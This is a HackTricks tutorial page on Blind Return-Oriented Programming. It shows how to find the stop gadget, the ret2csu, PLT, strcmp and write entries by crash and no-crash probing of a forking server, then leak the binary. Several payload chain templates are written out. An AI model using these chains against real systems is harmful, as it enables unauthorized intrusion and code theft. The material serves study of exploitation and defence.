Search K
Appearance
Appearance
Other ways to support HackTricks:
The goal of this attack is to be able to abuse a ROP via a buffer overflow without any information about the vulnerable binary.
This attack is based on the following scenario:
You can find more information about these processes here (BF Forked & Threaded Stack Canaries) and here (BF Addresses in the Stack).
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that stops the execution and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
This technique uses the ret2csu gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control rsi
and rdi
:
These would be the gadgets:
pop rsi; pop r15; ret
pop rdi; ret
Notice how with those gadgets it's possible to control 2 arguments of a function to call.
Also, notice that the ret2csu gadget has a very unique signature because it's going to be poping 6 registers from the stack. SO sending a chain like:
'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP
If the STOP is executed, this basically means an address that is popping 6 registers from the stack was used. Or that the address used was also a STOP address.
In order to remove this last option a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
'A' * offset + canary + rbp + ADDR
Knowing the address of the ret2csu gadget, it's possible to infer the address of the gadgets to control rsi
and rdi
.
The PLT table can be searched from 0x400000 or from the leaked RIP address from the stack (if PIE is being used). The entries of the table are separated by 16B (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the PLT + 6B also doesn't crash as it's the first code executed.
Therefore, it's possible to find the PLT table checking the following behaviours:
'A' * offset + canary + rbp + ADDR + STOP
-> no crash'A' * offset + canary + rbp + (ADDR + 0x6) + STOP
-> no crash'A' * offset + canary + rbp + (ADDR + 0x10) + STOP
-> no crashThe strcmp
function sets the register rdx
to the length of the string being compared. Note that rdx
is the third argument and we need it to be bigger than 0 in order to later use write
to leak the program.
It's possible to find the location of strcmp
in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
It's possible to check for this by calling each entry of the PLT table or by using the PLT slow path which basically consist on calling an entry in the PLT table + 0xb (which calls to dlresolve
) followed in the stack by the entry number one wishes to probe (starting at zero) to scan all PLT entries from the first one:
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
-> Will crashb'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
Remember that:
pop RSI; pop R15; ret;
pop RDI; ret;
Having found strcmp
it's possible to set rdx
to a value bigger than 0.
โ
Note that usually rdx
will host already a value bigger than 0, so this step might not be necesary.
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to control 2 arguments and set rdx
bigger than 0.
There are 3 common funtions taht could be abused for this:
puts(data)
dprintf(fd, data)
write(fd, data, len(data)
However, the original paper only mentions the write
one, so lets talk about it:
The current problem is that we don't know where the write function is inside the PLT and we don't know a fd number to send the data to our socket.
However, we know where the PLT table is and it's possible to find write based on its behaviour. And we can create several connections with the server an d use a high FD hoping that it matches some of our connections.
Behaviour signatures to find those functions:
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> If there is data printed, then puts was found'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> If there is data printed, then dprintf was found'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> If there is data printed, then write was foundOther ways to support HackTricks: